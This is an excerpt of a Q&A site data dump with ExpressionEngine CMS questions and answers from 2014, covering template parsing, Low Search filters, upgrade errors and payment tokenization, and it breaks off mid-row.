  <row Id="24022" PostTypeId="2" ParentId="23860" CreationDate="2014-06-27T03:30:34.247" Score="1" Body="&lt;p&gt;ExpressionEngine has had some updates to do date localization and relative dates. The particular line from the core that is causing your issue is &lt;code&gt;Line 4166&lt;/code&gt; in &lt;code&gt;expressionengine/libraries/Template.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of solutions here for your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally line 349 should check to make sure it is a string as well because &lt;code&gt;strtotime&lt;/code&gt; will only work as expected with a format string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;isset($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;date_vars[$index]) &amp;amp;&amp;amp; is_string($child) &amp;amp;&amp;amp; !is_numeric($child))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally it could utilize a different tag parameter as well on line 65.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$format = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('response_format', 'xml');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either of these changes should do the trick for this scenario, personally I would do both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a response that comes back as a numeric string it will still try to process it as a date if you don't change the template tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the reason you are seeing it only with the &lt;code&gt;low_search&lt;/code&gt; tag is because you are triggering date processing with the &lt;code&gt;orderby=&quot;date&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2728" LastEditorUserId="2728" LastEditDate="2014-06-27T03:36:44.297" LastActivityDate="2014-06-27T03:36:44.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24023" PostTypeId="1" AcceptedAnswerId="24033" CreationDate="2014-06-27T03:50:42.380" Score="0" ViewCount="205" Body="&lt;p&gt;When creating entries, is there any way to configure a Relationship field, so that in the list displayed on the entry form, you see more than just the data from the Title field? Could I have it include data from other fields, especially custom fields? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background:&#xA;I have a channel called &quot;Portfolios&quot; which has a Relationship field called &quot;Site Projects.&quot; My site works such that a client can enter a bunch of entries in the Projects channel, then create Portfolio entries where they can pick multiple Projects in the Relationship field (Site Projects) to be displayed in a list on the main website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the client entered all the data and there are TONS of entries in the Projects channel. So many that it's hard to tell much about them merely from their titles. They asked if I could set EE up so that when they are entering Portfolio entries, the list for the Relationship field of Site Projects would show data from another custom field or two, as well (like &quot;Project ID&quot; and or &quot;Launch Date&quot;) so they know exactly what they are selecting.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-06-27T11:32:56.490" Title="Relationships: Show other fields in list for Relationship field when creating an entry" Tags="|channel-entries|relationships|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24024" PostTypeId="2" ParentId="24019" CreationDate="2014-06-27T04:08:32.890" Score="3" Body="&lt;p&gt;I've had this same problem. I solved it by simply using &lt;code&gt;{if segment_1 == &quot;abc&quot;}&lt;/code&gt; statements to not include my jQuery on any page (segment) that had Channel Forms loading it's own jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also overwrite the jQuery file that EE/Channel Form includes with your version of jQuery -- I have found EE's version to be slightly different to what I download from jQuery.com&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-06-27T04:08:32.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24025" PostTypeId="1" CreationDate="2014-06-27T04:23:15.810" Score="1" ViewCount="257" Body="&lt;p&gt;I downloaded a current copy of my production database into my development environment. Both the production and development environments are &lt;strong&gt;EE v2.4.0&lt;/strong&gt;. When I logged on to the control panel I received the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An unexpected error occurred attempting to download the current ExpressionEngine version number. Please visit your Download Account to verify you are on the current version. If this error persists, please contact your system administrator&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is EE checking to determine this? How do resolve it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;My apologies to all readers. It is not EE 1.4 but it is EE2.4. My apologies to all respondents.&lt;/p&gt;&#xA;" OwnerUserId="3294" LastEditorUserId="343" LastEditDate="2014-06-30T02:27:40.860" LastActivityDate="2014-06-30T02:27:40.860" Title="EE Version Number Error on version 2.4" Tags="|ee2|database|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24026" PostTypeId="1" CreationDate="2014-06-27T08:33:43.060" Score="0" ViewCount="448" Body="&lt;p&gt;Current page is with subdomain.(bla.examplewebsite.com)&#xA;I trying to remove the index.php with official document(&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;) way, but it seem like doesn't work. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2014-06-27T08:33:43.060" Title="Remove index.php for subdomain" Tags="|.htaccess|subdomain|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24027" PostTypeId="2" ParentId="24018" CreationDate="2014-06-27T09:59:57.043" Score="9" Body="&lt;h1&gt;Generating the checkboxes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Take a good look at what you're trying to achieve, and what you're actually doing. You want a list of checkboxes that contains all options for a given Checkboxes field. So, for example, say your &lt;code&gt;mbr_fieldname&lt;/code&gt; contains 3 checkboxes for primary colors. In that field's settings, you've added the three colors in the &lt;code&gt;Multi-Select Options&lt;/code&gt; setting, so in your publish form, that would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ ] Blue&#xA;[ ] Red&#xA;[ ] Yellow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each entry (member, in your case) is assigned one or more colors, which you can loop through using the &lt;code&gt;{mbr_fieldname}{/mbr_fieldname}&lt;/code&gt; variable pair. So, this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ... }&#xA;    {mbr_fieldname}&#xA;        {item}&#xA;    {/mbr_fieldname}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...will loop through each &lt;strong&gt;entry&lt;/strong&gt; and display each color &lt;strong&gt;for that entry&lt;/strong&gt;. It will not display &lt;em&gt;Blue Red Yellow&lt;/em&gt;, which is what you would be after. Just add a &lt;code&gt;{title}&lt;/code&gt; to it, and you'll see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you just want to display the &lt;strong&gt;options&lt;/strong&gt; rather than the actual entry values, don't use the Entries tag. Instead, either hard-code the options in your template, or use &lt;a href=&quot;https://github.com/low/low_options&quot;&gt;&lt;strong&gt;Low Options&lt;/strong&gt;&lt;/a&gt;, which was created specifically for that purpose. With that, you can generate the list of checkboxes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_options:mbr_fieldname}&#xA;    {options}&#xA;        {option:value}&#xA;    {/options}&#xA;{/exp:low_options:mbr_fieldname}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which brings me nicely to your second issue: the filter that doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Filtering entries based on those checkboxes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You want to only display entries based on the option that was checked. How would you achieve this &lt;em&gt;without&lt;/em&gt; a form or Low Search, but just using the channel:entries tag? You'd use the &lt;code&gt;search:my_field&lt;/code&gt; parameter, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;zoo_visitor&quot; search:mbr_fieldname=&quot;Red&quot; ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That means you're going to have to use &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot;&gt;Low Search's Field Search filter&lt;/a&gt;. And as per &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters&quot;&gt;&lt;strong&gt;How Parameters Work in Low Search&lt;/strong&gt;&lt;/a&gt;, that means using an input field with &lt;code&gt;name=&quot;search:mbr_fieldname&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Checkboxes field allows multiple values, so you want to be able to include multiple values, too. Not a problem, &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#multiple-values&quot;&gt;Low Search caters for that, too&lt;/a&gt;. So, you end up with this (using proper &lt;code&gt;&amp;lt;label&amp;gt;&lt;/code&gt;s instead of the &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt;s):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_options:mbr_fieldname}&#xA;    {options}&#xA;        &amp;lt;label&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;search:mbr_fieldname[]&quot; value=&quot;{option:value}&quot;&amp;gt;&#xA;            {option:label}&#xA;        &amp;lt;/label&amp;gt;&#xA;    {/options}&#xA;{/exp:low_options:mbr_fieldname}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;[]&lt;/code&gt; in the &lt;code&gt;name&lt;/code&gt; attribute and actually setting the &lt;code&gt;value&lt;/code&gt; attribute, too.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-27T09:59:57.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24028" PostTypeId="1" CreationDate="2014-06-27T10:24:00.480" Score="0" ViewCount="105" Body="&lt;p&gt;Embed variables aren't correctly parsed in the low search result parameters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code for my low search results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;{if embed:author_id}author_id=&quot;{embed:author_id}&quot;{/if}&#xA;...&#xA;{if embed:query}query=&quot;{embed:query}&quot;{/if}&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems simple enough. However, when I outputted the &lt;code&gt;$data&lt;/code&gt; values in my&#xA;&lt;code&gt;low_search_pre_search&lt;/code&gt; hook, I get this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;['embed:author_id}author_id'] =&amp;gt;&#xA;...&#xA;['embed:query}query'] =&amp;gt;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why did it parse the parameters that way? &lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-06-27T10:49:35.833" Title="Embed variables aren't correctly parsed in the low search result parameters" Tags="|low-search|embeds|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24029" PostTypeId="1" AcceptedAnswerId="24034" CreationDate="2014-06-27T10:24:12.220" Score="1" ViewCount="152" Body="&lt;p&gt;Currently I am offering on-site payment with a credit card using PayU's Enterprise API for order checkout. What would be the best way to actually retrieve and preload the credit card fields for returning users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is recommended that the merchant website does NOT store the user's credit card details. Is there perhaps any other possible way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-27T12:16:56.690" Title="How To Retrieve &amp; Preload Users Credit Card Details" Tags="|ee2|payment-gateway|payu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24030" PostTypeId="2" ParentId="24014" CreationDate="2014-06-27T10:33:46.767" Score="5" Body="&lt;p&gt;The CE Image plugin has a watermark functionality (and much more), check 'watermark' on this page:&#xA;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-06-27T10:33:46.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24031" PostTypeId="2" ParentId="24025" CreationDate="2014-06-27T10:35:51.143" Score="0" Body="&lt;p&gt;A proviso on this answer , it applies to expression engine 2 + , im not sure about EE 1.4 as its so old but its worth a look anyway&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go and edit yourconfig file in /system/expressionengine/config/ .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first item in the config items list  is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version'] = &quot;281&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;281 in this case referres to expression engine 2.8.1 which i am running. If you are getting that warning your version of expression engine is different from the value in this config item .To fix it and get rid of the warning just change the value to match the version of EE you are running.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-06-27T10:35:51.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24032" PostTypeId="2" ParentId="24028" CreationDate="2014-06-27T10:49:35.833" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://getsatisfaction.com/low/topics/embed_variables_arent_correctly_parsed_in_the_low_search_result_parameters&quot; rel=&quot;nofollow&quot;&gt;As I told you earlier today&lt;/a&gt;, this is &lt;strong&gt;not a Low Search issue&lt;/strong&gt;, but a conditionals parsing issue. If you turn on Template Debugging, you'll see the opening tag just before it is actually executed. It will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results {if embed:author_id}author_id=&quot;&quot;{/if} ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;That&lt;/em&gt; is what's executed, and what EE uses to set the internal &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;tagparams&lt;/code&gt; array, which in turn is used by Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you change the tag to a native Channel Entries tag, &lt;em&gt;you will see the same effect&lt;/em&gt;; ie. the unparsed conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out that &lt;strong&gt;if an embed variable isn't set&lt;/strong&gt;, that conditional is treated as an &lt;strong&gt;advanced&lt;/strong&gt; conditional, and therefore parsed &lt;strong&gt;after&lt;/strong&gt; the tags, making them unsuitable to use to set/hide parameters like that.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-27T10:49:35.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24033" PostTypeId="2" ParentId="24023" CreationDate="2014-06-27T11:32:56.490" Score="0" Body="&lt;p&gt;In the past I used the Title Master add-on (&lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/title-master&lt;/a&gt;) - and basically created an entry title that had more info in it (channel name in my case due to multiple channels with like-named entries). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't use Title Master at the moment as it doesn't look to be keeping up with EE well, but possibly the approach could be done using MS Title Control instead: &lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-title-control&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-06-27T11:32:56.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24034" PostTypeId="2" ParentId="24029" CreationDate="2014-06-27T12:16:56.690" Score="4" Body="&lt;p&gt;Let me first start by saying &lt;strong&gt;you should not store users' credit cards data on your servers under any circumstance.&lt;/strong&gt; True PCI compliance is super expensive to initially setup and to maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that I am not familiar with PayU's API but I can speak from other payment gateway experience. If your payment gateway supports the feature you will want to implement a token system. This basically works in a few steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The user goes through the checkout process and enters CC details on your site and opts to save the CC number for future purchases.&lt;/li&gt;&#xA;&lt;li&gt;Depending on the API either you will need to create a token on your end through js/php and pass that along or you send the CC details to the payment gateway and they create the token and send it back to you for storage.&lt;/li&gt;&#xA;&lt;li&gt;When a user comes back in the future you will need to transmit the token over to them and they will process the order as normal.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That is a fairly simple explanation of the steps but should be a good starting point. I know of a few gateways that support this &lt;a href=&quot;https://stripe.com/docs/tutorials/charges#saving-credit-card-details-for-later&quot; rel=&quot;nofollow&quot;&gt;Stripe&lt;/a&gt; (doc example), &lt;a href=&quot;http://www.authorize.net/solutions/merchantsolutions/merchantservices/cim/&quot; rel=&quot;nofollow&quot;&gt;Authorize.net&lt;/a&gt;, &amp;amp; &lt;a href=&quot;https://developer.paypal.com/docs/classic/express-checkout/integration-guide/ECReferenceTxns/&quot; rel=&quot;nofollow&quot;&gt;PayPal&lt;/a&gt; Pro (PayPal's Reference Transactions API). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Store support team can chime in if I am wrong but I don't think that any of the default gateways support using Tokens currently and I imagine you will have to write an extension and your payment gateway extension to allow Store to handle this properly.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-27T12:16:56.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24035" PostTypeId="2" ParentId="8895" CreationDate="2014-06-27T12:17:05.530" Score="0" Body="&lt;p&gt;What you can also try is to use the {exp:store:payment} tag instead of the {exp:store:checkout} tag.. &lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-27T12:17:05.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24036" PostTypeId="1" CreationDate="2014-06-27T12:22:36.827" Score="1" ViewCount="712" Body="&lt;p&gt;We are getting the above error on an intranet that is running the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:file:entries category_group=&quot;2&quot; category=&quot;&amp;lt;?= $cat; ?&amp;gt;&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%m/%d/%Y&quot;}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;title&quot;&amp;gt;&amp;lt;a href=&quot;{file_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;description&quot;&amp;gt;{description}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/exp:file:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We are getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined&#xA;  offset: 1 Filename: database/DB_active_rec.php Line Number: 1724&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined&#xA;  offset: 2 Filename: database/DB_active_rec.php Line Number: 1724&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined&#xA;  offset: 1 Filename: database/DB_active_rec.php Line Number: 1724&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined&#xA;  offset: 2 Filename: database/DB_active_rec.php Line Number: 1724&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined&#xA;  offset: 1 Filename: database/DB_active_rec.php Line Number: 1724&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined&#xA;  offset: 2 Filename: database/DB_active_rec.php Line Number: 1724&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Warning Message: Cannot modify&#xA;  header information - headers already sent by (output started at&#xA;  /home/national/public_html/system/codeigniter/system/core/Exceptions.php:170)&#xA;  Filename: core/Common.php Line Number: 446&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error Number: 1052 Column 'site_id' in where clause is ambiguous&#xA;  SELECT &lt;code&gt;exp_files&lt;/code&gt;.&lt;code&gt;file_id&lt;/code&gt;, &lt;code&gt;variable_name&lt;/code&gt;, &lt;code&gt;variable_data&lt;/code&gt; FROM&#xA;  (&lt;code&gt;exp_files&lt;/code&gt;, &lt;code&gt;exp_global_variables&lt;/code&gt;) INNER JOIN &lt;code&gt;exp_file_categories&lt;/code&gt;&#xA;  ON &lt;code&gt;exp_files&lt;/code&gt;.&lt;code&gt;file_id&lt;/code&gt; = &lt;code&gt;exp_file_categories&lt;/code&gt;.&lt;code&gt;file_id&lt;/code&gt; INNER JOIN&#xA;  &lt;code&gt;exp_categories&lt;/code&gt; ON &lt;code&gt;exp_file_categories&lt;/code&gt;.&lt;code&gt;cat_id&lt;/code&gt; =&#xA;  &lt;code&gt;exp_categories&lt;/code&gt;.&lt;code&gt;cat_id&lt;/code&gt; WHERE &lt;code&gt;exp_files&lt;/code&gt;.&lt;code&gt;site_id&lt;/code&gt; IN ('1') AND&#xA;  &lt;code&gt;exp_categories&lt;/code&gt;.&lt;code&gt;cat_id&lt;/code&gt; = '1' AND &lt;code&gt;exp_categories&lt;/code&gt;.&lt;code&gt;cat_id&lt;/code&gt; = '2'&#xA;  AND &lt;code&gt;site_id&lt;/code&gt; = '1' Filename: libraries/Template.php Line Number: 2989&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is after an upgrade from EE 2.4 to EE 2.8.1. Not sure what to try... support hasn't responded in over 24 hours. Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1938" LastActivityDate="2014-07-21T22:19:12.663" Title="Error Number: 1052 Column 'site_id' in where clause is ambiguous" Tags="|bug|files|core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24037" PostTypeId="2" ParentId="24025" CreationDate="2014-06-27T12:30:27.640" Score="3" Body="&lt;p&gt;You will want to open up your CP and navigate to Admin &gt; System Preferences &gt; General Configuration and scroll down to New Version Auto Check and set that to &quot;No&quot;. From the EE1 docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;New Version Auto Check&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Enabling this feature will cause a message to be displayed in the&#xA;  Control Panel when a new version of ExpressionEngine is available. It&#xA;  will not automatically download and install a new version.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The reason that you are getting the error is because in EE1 the update script was looking for an xml file on &lt;a href=&quot;http://expressionengine.com&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.com&lt;/a&gt; but since EllisLab unified their offerings into the &lt;a href=&quot;http://ellislab.com&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com&lt;/a&gt; domain name it broke things like this. Once you disable the new version check in the CP the error should disappear and there is nothing wrong with getting the error other then it being a pain to see it all the time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that you are fairly far behind 1.7.3 I think was the last EE1 version and we are currently at 2.8.1 I think with EE2.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-27T12:30:27.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24038" PostTypeId="1" AcceptedAnswerId="24044" CreationDate="2014-06-27T15:04:44.737" Score="0" ViewCount="97" Body="&lt;p&gt;I'm trying to use the PHP String fun plug-in to evaluate whether a current entry belongs to a specific channel and then show/hide a register prompt depending upon that. So I have a snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{sn_content_channels_closed} = &quot;content_guides|content_videos|content_white-papers&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the channel in question is &quot;content_white-papers&quot;, however the template code below fails to return TRUE 'unless' I place the {channel_name} variable somewhere else in the template in addition to here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:phpstringfun function=&quot;substr_count&quot; par1=&quot;{channel_name}&quot;}{sn_content_channels_closed}{/exp:phpstringfun}'=='1'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course I could do that but I'd like to understand why this doesn't work, Parse order... EE WTF... something else?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-27T16:06:55.993" Title="PHP string fun does not evaluate unless var is used elsewhere in template" Tags="|conditionals|phpstringfun|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24039" PostTypeId="1" AcceptedAnswerId="24043" CreationDate="2014-06-27T15:26:15.107" Score="0" ViewCount="320" Body="&lt;p&gt;Is there any way to set a specific level of jpeg compression and vary that according to the upload destination? I'm trying to work out how best to integrate EE's native image upload features with the soon-to-be-standard &lt;strong&gt;picture&lt;/strong&gt; element, and in particular to make use of the &lt;em&gt;compressive images&lt;/em&gt; technique. This method involves saving retina images at maximum compression/minimum picture quality, generally resulting in smaller file sizes than those of non-retina resolutions saved at a more 'normal' compression level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes when EE performs any sort of resizing, because it resaves the jpeg at a fairly high quality (level 9 out of 10, I think), which completely undoes the file size benefits of an image originally saved using the &lt;em&gt;compressive images&lt;/em&gt; method. So either the client must create the retina image at a size that requires no resizing by EE (not very end user-friendly, and doubly-unwieldy if you need more than one size of retina image), or one must do away with trying to use the compressive images method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that CE Image can adjust the compression on the fly, but AFAIK it does so on the image tag itself, which won't mesh very well with the picture element syntax (you'd need to apply CE Image's 'quality=&quot;&quot;' parameter to the source srcset attribute of the Picture element… I think). So the only way around it would seem to be to establish separate upload destinations (or specific image-manipulation sub-destinations) that have their own specified compression level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I upload a big image, say 1700px wide, to the upload destination &lt;em&gt;blog_images&lt;/em&gt;. The max width for the destination is set to 1200px and maximum compression (quality = 0) -- this becomes my retina image. There is also an image manipulation set for that destination that resizes the image to a width of 600px and saves it with normal compression (quality = 9). That becomes my non-retina image. Of course I can imagine various further image manipulations with different compression levels -- mobile size retina and non-retina images, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this varying of compression levels possible any way?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-06-28T05:01:07.913" Title="Varying image compression by upload destination" Tags="|image|ce-image|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24040" PostTypeId="1" AcceptedAnswerId="24041" CreationDate="2014-06-27T15:28:01.353" Score="1" ViewCount="44" Body="&lt;p&gt;I'm trying to create a native EE blog to move away from wordpress but the native categories are proving to be quite difficult. I've got the listing of categories showing, but directing them to their category template shows all channel entries and not just the category specified in the url. Code is below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;blog&quot; style=&quot;nested&quot; class=&quot;categories&quot;}&#xA;    &amp;lt;a href=&quot;{path='blog/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The click action works as desired and brings you to a url string &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/blog/category/category_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Category headings work fine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_heading channel=&quot;blog&quot;}&#xA;    &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:category_heading}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Displays &quot;Category Name&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then the actual categories do not display. It's as if there's simply no entries matching this category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; disable=&quot;members|pagination&quot; related_categories=&quot;yes&quot; custom_fields=&quot;yes&quot; dynamic=&quot;no&quot; status=&quot;Open&quot; sort=&quot;desc&quot;}&#xA;    &amp;lt;article class=&quot;blog-article&quot;&amp;gt;&#xA;        &amp;lt;figure&amp;gt;&amp;lt;img src=&quot;{blog_image}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/figure&amp;gt;&#xA;        &amp;lt;div class=&quot;blog-details&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;By: {author} &amp;lt;a href=&quot;{url}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;i class=&quot;icon-twitter&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt; &amp;lt;i 